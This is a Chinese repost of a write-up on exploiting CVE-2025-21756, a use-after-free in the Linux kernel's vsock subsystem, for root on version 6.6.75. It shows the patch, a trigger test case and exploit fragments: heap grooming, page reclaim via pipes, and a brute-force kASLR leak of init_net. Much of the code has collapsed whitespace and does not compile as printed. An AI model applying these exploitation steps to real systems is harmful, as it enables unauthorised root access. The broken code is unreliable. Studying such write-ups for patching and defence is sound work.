Linux内核漏洞利用CVE-2025-21756：Vsock 攻击

文章讲的是Linux内核的一个漏洞，CVE-2025-21756，名字还挺酷，叫“Attack of the Vsock”。这个漏洞其实是个Use-After-Free问题，存在于vsock子系统里，主要是因为引用计数处理得不好，导致攻击者能直接提权到root，拿到系统控制权。作者在文章里详细讲了咋利用这个漏洞，包括怎么绕过AppArmor和kASLR，还用ROP链搞定了代码执行，最后在Linux 6.6.75上拿到了root shell。说实话，这种漏洞挺让人头疼的，Linux内核安全一直是个老大难问题，类似的UAF漏洞之前也见过不少。这篇文章写得挺实在的，感兴趣的朋友可以看看

一开始只是随意浏览KernelCTF提交的内容，但很快就演变成长达数周的深入研究，研究一个看似简单的补丁 - 以及我第一次从 Linux 内核漏洞中获得 root shell！

在浏览公开的提交电子表格时，我看到了一个有趣的条目：exp237。这个漏洞补丁看起来非常简单，我惊讶于一位研究人员竟然能够利用它进行权限提升。于是，我开始了一段可能会降低我的GPA，甚至偶尔让我怀疑自己是否理智的旅程：我的第一个Linux内核漏洞利用！

设置环境

在开始深入开发漏洞利用程序之前，我们需要搭建一个良好的 Linux 内核调试环境。我决定使用QEMU，并结合midas 的精彩文章和 bata 的gdb 内核扩展脚本。我选择从 Linux 内核 6.6.75 开始，因为它与其他研究人员正在利用的版本接近。实际上，我在 WSL 中完成了整个项目，这样我就可以在学校的 Windows 电脑上编写漏洞利用程序了！

补丁分析

从下面的补丁中可以看出，修复仅涉及几行代码。从代码和说明来看，传输重新分配可以触发vsock_remove_sock，从而调用 ，vsock_remove_bound从而错误地减少 vsock 对象上的引用计数器（如果套接字一开始就未绑定）。

当内核中某个对象的引用计数器达到零时，该对象将被释放到其各自的内存管理器。理想情况下，在释放 vsock 对象后，我们将能够触发某种释放后使用 (UAF) 漏洞，以获得更好的原始权限并提升权限。

--- a/net/vmw_vsock/af_vsock.c+++ b/net/vmw_vsock/af_vsock.c@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket); void vsock_remove_sock(struct vsock_sock *vsk) {- vsock_remove_bound(vsk);+ /* Transport reassignment must not remove the binding. */+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))+ vsock_remove_bound(vsk);+   vsock_remove_connected(vsk); } EXPORT_SYMBOL_GPL(vsock_remove_sock);@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level)    */   lock_sock_nested(sk, level);+ sock_orphan(sk);+if (vsk->transport)     vsk->transport->release(vsk);elseif (sock_type_connectible(sk->sk_type))     vsock_remove_sock(vsk);- sock_orphan(sk);   sk->sk_shutdown = SHUTDOWN_MASK;   skb_queue_purge(&sk->sk_receive_queue);

除了这个补丁之外，维护人员还为该漏洞添加了一个测试用例，这对于启动漏洞利用非常有用。

#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */#define VMADDR_CID_NONEXISTING 42/* Test attempts to trigger a transport release for an unbound socket. This can * lead to a reference count mishandling. */staticvoidtest_seqpacket_transport_uaf_client(const struct test_opts *opts){int sockets[MAX_PORT_RETRIES];structsockaddr_vmaddr;int s, i, alen;  s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);  alen = sizeof(addr);if (getsockname(s, (struct sockaddr *)&addr, &alen)) {    perror("getsockname");exit(EXIT_FAILURE);  }for (i = 0; i < MAX_PORT_RETRIES; ++i)    sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port,          SOCK_SEQPACKET);  close(s);  s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);if (s < 0) {    perror("socket");exit(EXIT_FAILURE);  }if (!connect(s, (struct sockaddr *)&addr, alen)) {fprintf(stderr, "Unexpected connect() #1 successn");exit(EXIT_FAILURE);  }/* connect() #1 failed: transport set, sk in unbound list. */  addr.svm_cid = VMADDR_CID_NONEXISTING;if (!connect(s, (struct sockaddr *)&addr, alen)) {fprintf(stderr, "Unexpected connect() #2 successn");exit(EXIT_FAILURE);  }/* connect() #2 failed: transport unset, sk ref dropped? */  addr.svm_cid = VMADDR_CID_LOCAL;  addr.svm_port = VMADDR_PORT_ANY;/* Vulnerable system may crash now. */  bind(s, (struct sockaddr *)&addr, alen);  close(s);while (i--)    close(sockets[i]);  control_writeln("DONE");}

/** * security_sk_free() - Free the sock's LSM blob * @sk: sock * * Deallocate security structure. */void security_sk_free(struct sock *sk){  call_void_hook(sk_free_security, sk);  kfree(sk->sk_security);  sk->sk_security = NULL;}

但是当我们调用 时security_socket_bind，AppArmor 函数会取消引用这个sk->sk_security结构体。更糟糕的是，几乎每个套接字函数似乎都有一个 LSM 对应函数。简而言之：内核赋予我们一个指向套接字的悬空指针——但 AppArmor 确保我们在使用它做任何有用的事情之前就崩溃了。那么，如果我们甚至无法用回收的套接字调用任何有用的函数，我们又该如何进行 UAF 攻击呢？

gef> p security_socket_*security_socket_accept security_socket_getpeername security_socket_bind security_socket_getpeersec_dgram security_socket_connect security_socket_getpeersec_stream security_socket_create security_socket_getsockname security_socket_getsockopt security_socket_sendmsgsecurity_socket_listen security_socket_setsockoptsecurity_socket_post_create security_socket_shutdownsecurity_socket_recvmsg security_socket_socketpair

staticintvsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb){// ... snip .../* Bind table (locally created sockets) */if (table == 0) {while (bucket < ARRAY_SIZE(vsock_bind_table)) {structlist_head *head = &vsock_bind_table[bucket];      i = 0;      list_for_each_entry(vsk, head, bound_table) {structsock *sk = sk_vsock(vsk);if (!net_eq(sock_net(sk), net))continue;if (i < last_i)goto next_bind;if (!(req->vdiag_states & (1 << sk->sk_state)))goto next_bind;if (sk_diag_fill(sk, skb,             NETLINK_CB(cb->skb).portid,             cb->nlh->nlmsg_seq,             NLM_F_MULTI) < 0)goto done;next_bind:        i++;      }      last_i = 0;      bucket++;    }    table++;    bucket = 0;  }// ... snip ...}

int junk[FLUSH];for (int i = 0; i < FLUSH; i++)    junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);puts("[+] pre alloc sockets");int pre[PRE];for (int i = 0; i < PRE; i++)    pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);// ... snip ... (alloc target & trigger uaf)puts("[+] fill up the cpu partial list");for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)close(junk[i]);puts("[+] free all the pre/post alloc-ed objects");for (int i = 0; i < POST; i++)close(post[i]);for (int i = 0; i < PRE; i++)close(pre[i]);

对象的预分配和后分配确保整个页面实际上被返回给伙伴分配器（参见此文）。下面是实际查找指针的代码skc_net。

int pipes[NUM_PIPES][2];char page[PAGE_SIZE];memset(page, 2, PAGE_SIZE); // skc_state must be 2puts("[+] reclaim page");int w = 0;int j;i = 0;while (i < NUM_PIPES) {    sleep(0.1);if (pipe(&pipes[i][0]) < 0) {        perror("pipe");break;    }printf(".");    fflush(stdout);    w = 0;while (w < PAGE_SIZE) {ssize_t written = write(pipes[i][1], page, 8);        j = query_vsock_diag();        w += written;if (j != 48) goto out;    }    i++;if (i % 32 == 0) puts("");}

如你所见，这段代码只是不断创建新的管道，并一次填充一个 QWORD（0x0202020202020202 以满足skc_state），直到vsock_diag_dump不再找到目标套接字。这意味着我们已经覆盖了skc_net。一旦我们真正覆盖了指针，我们只需要以相同的方式暴力破解地址的低 32 位即可。

long base = 0xffffffff84bb0000; // determined through experimentationlong off = 0;long addy;printf("[+] attempting net overwrite (aslr bypass).n");while (off < 0xffffffff) {    close(pipes[i][0]);    close(pipes[i][1]);if (pipe(&pipes[i][0]) < 0) {        perror("pipe");    }    addy = base + off;    write(pipes[i][1], page, w - 8);    write(pipes[i][1], &addy, 8);if (off % 256 == 0) {printf("+");        fflush(stdout);    }    j = query_vsock_diag();if (j == 48) {printf("n[*] LEAK init_net @ 0x%lxn", base + off);goto out2;    }    off += 128;}

static int vsock_release(struct socket *sock){  struct sock *sk = sock->sk;if (!sk)return0;  sk->sk_prot->close(sk, 0);  __vsock_release(sk, 0);  sock->sk = NULL;  sock->state = SS_FREE;return0;}

原文始发于微信公众号（Ots安全）：Linux内核漏洞利用CVE-2025-21756：Vsock 攻击